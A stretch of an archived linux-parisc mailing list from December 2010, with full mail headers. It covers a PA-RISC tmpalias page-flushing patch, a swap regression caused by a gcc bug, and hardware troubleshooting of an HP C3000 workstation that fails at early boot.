	Wed, 22 Dec 2010 19:07:13 -0500
Original-Received: by bwz15 with SMTP id 15so7013280bwz.19
        for <linux-parisc@vger.kernel.org>; Wed, 22 Dec 2010 16:07:12 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:mime-version:received:sender:received
         :in-reply-to:references:date:x-google-sender-auth:message-id:subject
         :from:to:cc:content-type:content-transfer-encoding;
        bh=k8+LfgbvbfB/mEh0zBc/kszk1Ox79WkajzhZYPQznPA=;
        b=mvM0GYWsaRXa3wpspBV4IALX1dIWADevKrMWGAbWSOZ1hlBILTc+Ji+4zUmVyx5B7c
         x2NaBxQLyPJvcO8K0OKQrgDGzXXUbB8oN+VCSiOve1pnelH/iv7kueL8FbNBgBfCg7u+
         Y+9opcVk3E6y0fwwyN8tLoZWtxCM23EiOFQaI=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=mime-version:sender:in-reply-to:references:date
         :x-google-sender-auth:message-id:subject:from:to:cc:content-type
         :content-transfer-encoding;
        b=FE/BQ+/X6C87y0d2k816miTHxn6F/d+DhU8l/8aV8HM9Zu+hhL7HcjNKTkkA38Zd7z
         e1hfPvunkESeCChHAL/HmR/TdzaB8mB9dQX2XNAVnLN66Gv8jABy84to+OrOfxXZ0/gG
         Wob3uFGc8Cr8fU6JNFIsLf8oEIvNw81y9gWf8=
Original-Received: by 10.204.32.145 with SMTP id c17mr6537622bkd.155.1293062832407;
 Wed, 22 Dec 2010 16:07:12 -0800 (PST)
Original-Received: by 10.204.231.201 with HTTP; Wed, 22 Dec 2010 16:07:12 -0800 (PST)
In-Reply-To: <1293034931.3019.8.camel@mulgrave.site>
X-Google-Sender-Auth: 8wiYMh0MNhYhS6AIMu25Bh0fOZI
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3296
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3296>

On Wed, Dec 22, 2010 at 11:22 AM, James Bottomley
<James.Bottomley@hansenpartnership.com> wrote:
> The kernel has an 8M tmpailas space (originally designed for copying
> and clearing pages but now only used for clearing). =A0The idea is
> to place zeros into the cache above a physical page rather than into
> the physical page and flush the cache, because often the zeros end up
> being replaced quickly anyway.
>
> We can also use the tmpalias space for flushing a page. =A0The differ=
ence
> here is that we have to do tmpalias processing in the non access data=
 and
> instruction traps. =A0The principle is the same: as long as we know t=
he physical
> address and have a virtual address congruent to the real one, the flu=
sh will
> be effective.
>
> In order to use the tmpalias space, the icache miss path has to be en=
hanced to
> check for the alias region to make the fic instruction effective.

James,

Given that you are currently maintaining the parisc tree, do you have
a public branch that we can pull from to test things?

I've normally been using:
git://git.kernel.org/pub/scm/linux/kernel/git/kyle/parisc-2.6.git

I would like to test this patch, and the next one you posted, and I
was wondering if you have them on a public branch.

Cheers,
Carlos.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc"=
 in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:36 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 

From - Thu Nov 08 21:06:36 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: 2.6.36 regression : swap support broken
Date: Wed, 22 Dec 2010 21:19:41 -0500
Organization: nrc.ca
Lines: 21
Approved: news@gmane.org
Message-ID: <20101223021941.GA3924@hiauly1.hia.nrc.ca>
References: <20101212193856.15f93ea4@borg.bxl.tuxicoman.be>
Reply-To: John David Anglin <dave.anglin@nrc-cnrc.gc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: dough.gmane.org 1293070789 22475 80.91.229.12 (23 Dec 2010 02:19:49 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Thu, 23 Dec 2010 02:19:49 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org, eike-kernel@sf-tec.de
To: Guy Martin <gmsoft@tuxicoman.be>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Dec 23 03:19:45 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1PVamO-0004Ul-It
	for glpp-linux-parisc@lo.gmane.org; Thu, 23 Dec 2010 03:19:44 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752127Ab0LWCTo (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 22 Dec 2010 21:19:44 -0500
Original-Received: from hiauly1.hia.nrc.ca ([132.246.10.84]:2032 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751881Ab0LWCTn (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 22 Dec 2010 21:19:43 -0500
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id 35C8D4E33; Wed, 22 Dec 2010 21:19:41 -0500 (EST)
Content-Disposition: inline
In-Reply-To: <20101212193856.15f93ea4@borg.bxl.tuxicoman.be>
User-Agent: Mutt/1.5.16 (2007-06-09)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3298
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3298>

On Sun, 12 Dec 2010, Guy Martin wrote:

> Recently, swap got broken. When it has to be used, the kernel issue the
> following line numerous times :
> swap_free: Bad swap offset entry 00100009

The incorrect handling of conditional branches followed by an (empty) asm
is now fixed in the gcc tree on all active branches (4.3 through to head).

The 4.2 branch is closed.  So, I wouldn't recommend using it or any earlier
branch of gcc for kernel builds.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:37 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: parisc: flush pages through tmpalias space
Date: Wed, 22 Dec 2010 22:04:52 -0500
Organization: nrc.ca
Lines: 28
Approved: news@gmane.org
Message-ID: <20101223030451.GA4080@hiauly1.hia.nrc.ca>
References: <1293034931.3019.8.camel@mulgrave.site>
Reply-To: John David Anglin <dave.anglin@nrc-cnrc.gc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: dough.gmane.org 1293073500 30911 80.91.229.12 (23 Dec 2010 03:05:00 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Thu, 23 Dec 2010 03:05:00 +0000 (UTC)
Cc: Parisc List <linux-parisc@vger.kernel.org>
To: James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Dec 23 04:04:55 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1PVbU7-0005q2-IC
	for glpp-linux-parisc@lo.gmane.org; Thu, 23 Dec 2010 04:04:55 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752240Ab0LWDEz (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 22 Dec 2010 22:04:55 -0500
Original-Received: from hiauly1.hia.nrc.ca ([132.246.10.84]:2036 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752127Ab0LWDEy (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 22 Dec 2010 22:04:54 -0500
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id 381C74E33; Wed, 22 Dec 2010 22:04:52 -0500 (EST)
Content-Disposition: inline
In-Reply-To: <1293034931.3019.8.camel@mulgrave.site>
User-Agent: Mutt/1.5.16 (2007-06-09)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3299
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3299>

On Wed, 22 Dec 2010, James Bottomley wrote:

> The kernel has an 8M tmpailas space (originally designed for copying
> and clearing pages but now only used for clearing).  The idea is
> to place zeros into the cache above a physical page rather than into
> the physical page and flush the cache, because often the zeros end up
> being replaced quickly anyway.
> 
> We can also use the tmpalias space for flushing a page.  The difference
> here is that we have to do tmpalias processing in the non access data and
> instruction traps.  The principle is the same: as long as we know the physical
> address and have a virtual address congruent to the real one, the flush will
> be effective.
> 
> In order to use the tmpalias space, the icache miss path has to be enhanced to
> check for the alias region to make the fic instruction effective.

Very cool. "dependent" is misspelled in a couple places.  Will test.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:37 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell" <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Resurrecting my C3000.
Date: Thu, 23 Dec 2010 12:26:56 -0500
Lines: 37
Approved: news@gmane.org
Message-ID: <AANLkTinFSs6z35AcsAWZ8AuvvPgSDwj8G6Xt4uhOY1XV@mail.gmail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
X-Trace: dough.gmane.org 1293125225 13237 80.91.229.12 (23 Dec 2010 17:27:05 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Thu, 23 Dec 2010 17:27:05 +0000 (UTC)
To: linux-parisc <linux-parisc@vger.kernel.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Dec 23 18:27:00 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1PVowN-0004je-6m
	for glpp-linux-parisc@lo.gmane.org; Thu, 23 Dec 2010 18:26:59 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753315Ab0LWR06 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 23 Dec 2010 12:26:58 -0500
Original-Received: from mail-bw0-f46.google.com ([209.85.214.46]:44848 "EHLO
	mail-bw0-f46.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753281Ab0LWR06 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 23 Dec 2010 12:26:58 -0500
Original-Received: by bwz15 with SMTP id 15so7602362bwz.19
        for <linux-parisc@vger.kernel.org>; Thu, 23 Dec 2010 09:26:56 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:mime-version:received:sender:received:date
         :x-google-sender-auth:message-id:subject:from:to:content-type;
        bh=NyjKsnq5YDJ59WeMw0GaFT3MpLHOinG/jaypqKc92qE=;
        b=mIkFQ+FTtkfGpPNFL9BdYIGP9pl0Ff8PQuTOSn1CL/xbmPvV2TB6f22vqA+psVr/97
         RV9qMMqlNZlrQRyi0wLEJsFp6UIaDxX/gg0GaWGXY1g8qfMGRbdvciqHp371MZMxfYsk
         rLqayAOSKWRaeY0ctCtbI6NetEMf9NFgFAph0=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=mime-version:sender:date:x-google-sender-auth:message-id:subject
         :from:to:content-type;
        b=jfhwmOXO4CdLT49UJj4epxyR2ALkX1wm99xlp6YjdWNJSo2NLpjTTOOZCKFdsb9Ffa
         GiaDT0mosgienR9PSd+MZ2q+uZLE5JV2ApQydOmzVABbKhlPV3BP3vmx6sGptPN6CqAs
         /5/gsEl2iDQ0QbQE3haz6VIERgB3+QEDMAzJk=
Original-Received: by 10.204.52.136 with SMTP id i8mr30504bkg.74.1293125216658; Thu, 23
 Dec 2010 09:26:56 -0800 (PST)
Original-Received: by 10.204.231.201 with HTTP; Thu, 23 Dec 2010 09:26:56 -0800 (PST)
X-Google-Sender-Auth: W8JxrXWFU6uMtlq3yQqKiWThBHg
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3300
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3300>

Team,

I wanted to resurrect my C3000 for some 32-bit kernel testing.

I booted it up, but it didn't work, the LCD displayed:
~~~
INI 8890: IO BD
Early Super init
~~~

I don't see anything on the connected serial port #1 (9600 8N1).

I took all the PCI cards out (LSI scsi, 3 VIS-EG PCI), cleaned it,
added some thermal paste to the cpu, and reseated the memory.

Same issue, but sometimes I get  "OFF 00FF:" on the LCD, which isn't a
valid Code for that Ostat.

The workstation reference manual for the C3000 has this to say:
Ostat: INI
Code: 8890
FRU: IO BD
Message: early Super init
Description: Initializing Super-I/O for early RS-232 output.

Technically one must re-seat or replace the failing FRU, but I don't
know what FRU "IO BD" is? The motherboard? :-(

Any ideas?

Cheers,
Carlos.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:37 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Resurrecting my C3000.
Date: Thu, 23 Dec 2010 13:23:17 -0500 (EST)
Lines: 26
Approved: news@gmane.org
Message-ID: <20101223182318.A026E4E69@hiauly1.hia.nrc.ca>
References: <AANLkTinFSs6z35AcsAWZ8AuvvPgSDwj8G6Xt4uhOY1XV@mail.gmail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1293128606 29226 80.91.229.12 (23 Dec 2010 18:23:26 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Thu, 23 Dec 2010 18:23:26 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: carlos@systemhalted.org (Carlos O'Donell)
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Dec 23 19:23:22 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1PVpov-0005rA-R0
	for glpp-linux-parisc@lo.gmane.org; Thu, 23 Dec 2010 19:23:22 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753241Ab0LWSXV (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 23 Dec 2010 13:23:21 -0500
Original-Received: from hiauly1.hia.nrc.ca ([132.246.10.84]:2055 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752350Ab0LWSXU (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 23 Dec 2010 13:23:20 -0500
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id A026E4E69; Thu, 23 Dec 2010 13:23:18 -0500 (EST)
In-Reply-To: <AANLkTinFSs6z35AcsAWZ8AuvvPgSDwj8G6Xt4uhOY1XV@mail.gmail.com> from "Carlos O'Donell" at Dec 23, 2010 12:26:56 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3301
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3301>

> The workstation reference manual for the C3000 has this to say:
> Ostat: INI
> Code: 8890
> FRU: IO BD
> Message: early Super init
> Description: Initializing Super-I/O for early RS-232 output.
> 
> Technically one must re-seat or replace the failing FRU, but I don't
> know what FRU "IO BD" is? The motherboard? :-(
> 
> Any ideas?

Possibly this manual will help:
http://bizsupport1.austin.hp.com/bc/docs/support/SupportManual/lpv38336/lpv38336.pdf

I don't think this is motherboard.  Look for board with RS-232 connector.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:37 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell" <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Resurrecting my C3000.
Date: Thu, 23 Dec 2010 13:31:46 -0500
Lines: 38
Approved: news@gmane.org
Message-ID: <AANLkTimOpLijMDTttD-MD9uKfGFz6KrnCmae71-S=Deq@mail.gmail.com>
References: <AANLkTinFSs6z35AcsAWZ8AuvvPgSDwj8G6Xt4uhOY1XV@mail.gmail.com>
	<20101223182318.A026E4E69@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: dough.gmane.org 1293129114 31377 80.91.229.12 (23 Dec 2010 18:31:54 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Thu, 23 Dec 2010 18:31:54 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Dec 23 19:31:50 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1PVpx6-000240-Qv
	for glpp-linux-parisc@lo.gmane.org; Thu, 23 Dec 2010 19:31:49 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753147Ab0LWSbs convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 23 Dec 2010 13:31:48 -0500
Original-Received: from mail-bw0-f46.google.com ([209.85.214.46]:34082 "EHLO
	mail-bw0-f46.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752350Ab0LWSbr convert rfc822-to-8bit (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 23 Dec 2010 13:31:47 -0500
Original-Received: by bwz15 with SMTP id 15so7658170bwz.19
        for <linux-parisc@vger.kernel.org>; Thu, 23 Dec 2010 10:31:46 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:mime-version:received:sender:received
         :in-reply-to:references:date:x-google-sender-auth:message-id:subject
         :from:to:cc:content-type:content-transfer-encoding;
        bh=ZmIgGPePAYLnm7vp8yBMsThTv2FavexfczfogRoadgI=;
        b=TuQVYQaL2KhGSR5VgE3Lfa7y1FwoLgMbfpvEV3slVR4e8cswESyFL/uuXSmHwwxy+/
         BZaDZxlDodbZ6mxNZ3ngaUN9PASHzqQ7xQj5GgOyrohI86RADWC/3VEpzTWmbP5M9Sdm
         dFWVzWUirly9uYPZUvCnaRV28e5UTLHk3Qy5A=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=mime-version:sender:in-reply-to:references:date
         :x-google-sender-auth:message-id:subject:from:to:cc:content-type
         :content-transfer-encoding;
        b=H9YfdyivadkcDqBhRlljSV1AsclyheXvnJVV2JrmjbQR+nzPNSPxrBAyEXkYOVbP4/
         L8TBQfKIoAWajwgWbGd1PFxfmAXOljzKhWhGPENilqq7CaCwKDD+4els0D9OJ4lslf1v
         1Mtq9cHT1PMEHTHo4e17+rVK9gtYc7ibbzqJA=
Original-Received: by 10.204.100.82 with SMTP id x18mr7448247bkn.20.1293129106109; Thu,
 23 Dec 2010 10:31:46 -0800 (PST)
Original-Received: by 10.204.231.201 with HTTP; Thu, 23 Dec 2010 10:31:46 -0800 (PST)
In-Reply-To: <20101223182318.A026E4E69@hiauly1.hia.nrc.ca>
X-Google-Sender-Auth: 6cxR42vvV630XRyjZNzPLZrN700
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3302
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3302>

On Thu, Dec 23, 2010 at 1:23 PM, John David Anglin
<dave@hiauly1.hia.nrc.ca> wrote:
>> The workstation reference manual for the C3000 has this to say:
>> Ostat: INI
>> Code: 8890
>> FRU: IO BD
>> Message: early Super init
>> Description: Initializing Super-I/O for early RS-232 output.
>>
>> Technically one must re-seat or replace the failing FRU, but I don't
>> know what FRU "IO BD" is? The motherboard? :-(
>>
>> Any ideas?
>
> Possibly this manual will help:
> http://bizsupport1.austin.hp.com/bc/docs/support/SupportManual/lpv383=
36/lpv38336.pdf
>
> I don't think this is motherboard. =A0Look for board with RS-232 conn=
ector.

The C3K is a single board system, the RS-232 connectors on the back
are mounted and routed directly to the motherboard (like a common PC).

If I remove the disks, CDROM, floppy, and memory from the system, it
still powers up and displays the same error.

I was surprised it booted without any ram in the slots, but it's a
robust design :-)

Cheers,
Carlos.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc"=
 in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:37 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thibaut VARENE <varenet@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Resurrecting my C3000.
Date: Thu, 23 Dec 2010 19:42:38 +0100
Lines: 37
Approved: news@gmane.org
Message-ID: <AANLkTimgeM=-YM4Ee09wjVyaBQviT_VBkYCW7qXOqWW9@mail.gmail.com>
References: <AANLkTinFSs6z35AcsAWZ8AuvvPgSDwj8G6Xt4uhOY1XV@mail.gmail.com>
 <20101223182318.A026E4E69@hiauly1.hia.nrc.ca> <AANLkTimOpLijMDTttD-MD9uKfGFz6KrnCmae71-S=Deq@mail.gmail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: dough.gmane.org 1293129791 2018 80.91.229.12 (23 Dec 2010 18:43:11 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Thu, 23 Dec 2010 18:43:11 +0000 (UTC)
Cc: John David Anglin <dave@hiauly1.hia.nrc.ca>,
	linux-parisc@vger.kernel.org
To: "Carlos O'Donell" <carlos@systemhalted.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Dec 23 19:43:06 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1PVq7w-0008VB-Ik
	for glpp-linux-parisc@lo.gmane.org; Thu, 23 Dec 2010 19:43:00 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753567Ab0LWSm7 convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 23 Dec 2010 13:42:59 -0500
Original-Received: from mail-qy0-f181.google.com ([209.85.216.181]:37989 "EHLO
	mail-qy0-f181.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753539Ab0LWSm7 convert rfc822-to-8bit (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 23 Dec 2010 13:42:59 -0500
Original-Received: by qyk12 with SMTP id 12so7147280qyk.19
        for <linux-parisc@vger.kernel.org>; Thu, 23 Dec 2010 10:42:58 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:received:mime-version:sender:received
         :in-reply-to:references:from:date:x-google-sender-auth:message-id
         :subject:to:cc:content-type:content-transfer-encoding;
        bh=u2OndeToOYtrFblxT4mbgpnPSqR9xt+1Obe6dxdDkmo=;
        b=ZzQUKii9YgC3e3xiI/VKeGoMeKU7OwQ7GuJ60yKUEj+ontfdVShlqY081+WLzvFVzU
         VPRLyjJ6b83ZMYWdv2CM14U3YQKXl1JZnHs31ImHhvsuiXu9t924aEW7V2U8GEnHvi8p
         Mj4ppaeLk5SUvzzlt+qgy1u9x7vxw0r+TyHqs=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=mime-version:sender:in-reply-to:references:from:date
         :x-google-sender-auth:message-id:subject:to:cc:content-type
         :content-transfer-encoding;
        b=Q6HQARt2GfsGnPHvDqgTd4EQTk2OdB+VpYK/RE5Gmi+yOTL7owgCPVNbMdii4hO4tw
         DGDlhWXwBXZxg6au+GtLYhDOKB0d4XYUtQYofK5QRvrLlLt8w5j8FOgWTWGKZRw12F95
         tsJ6C6teh3pLOV+DKaNP+y1Gz6j8RSpSqqook=
Original-Received: by 10.229.190.7 with SMTP id dg7mr7327961qcb.288.1293129778530; Thu,
 23 Dec 2010 10:42:58 -0800 (PST)
Original-Received: by 10.229.40.148 with HTTP; Thu, 23 Dec 2010 10:42:38 -0800 (PST)
In-Reply-To: <AANLkTimOpLijMDTttD-MD9uKfGFz6KrnCmae71-S=Deq@mail.gmail.com>
X-Google-Sender-Auth: EFE56kzQNJDDjziaGsfL_ZcAk2M
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3303
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3303>

On Thu, Dec 23, 2010 at 7:31 PM, Carlos O'Donell
<carlos@systemhalted.org> wrote:
> On Thu, Dec 23, 2010 at 1:23 PM, John David Anglin
> <dave@hiauly1.hia.nrc.ca> wrote:
>>> The workstation reference manual for the C3000 has this to say:
>>> Ostat: INI
>>> Code: 8890
>>> FRU: IO BD
>>> Message: early Super init
>>> Description: Initializing Super-I/O for early RS-232 output.
>>>
>>> Technically one must re-seat or replace the failing FRU, but I don'=
t
>>> know what FRU "IO BD" is? The motherboard? :-(
>>>
>>> Any ideas?
>>
>> Possibly this manual will help:
>> http://bizsupport1.austin.hp.com/bc/docs/support/SupportManual/lpv38=
336/lpv38336.pdf
>>
>> I don't think this is motherboard. =C2=A0Look for board with RS-232 =
connector.
>
> The C3K is a single board system, the RS-232 connectors on the back
> are mounted and routed directly to the motherboard (like a common PC)=
=2E

Dry solder?

T-Bone
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc"=
 in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:37 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
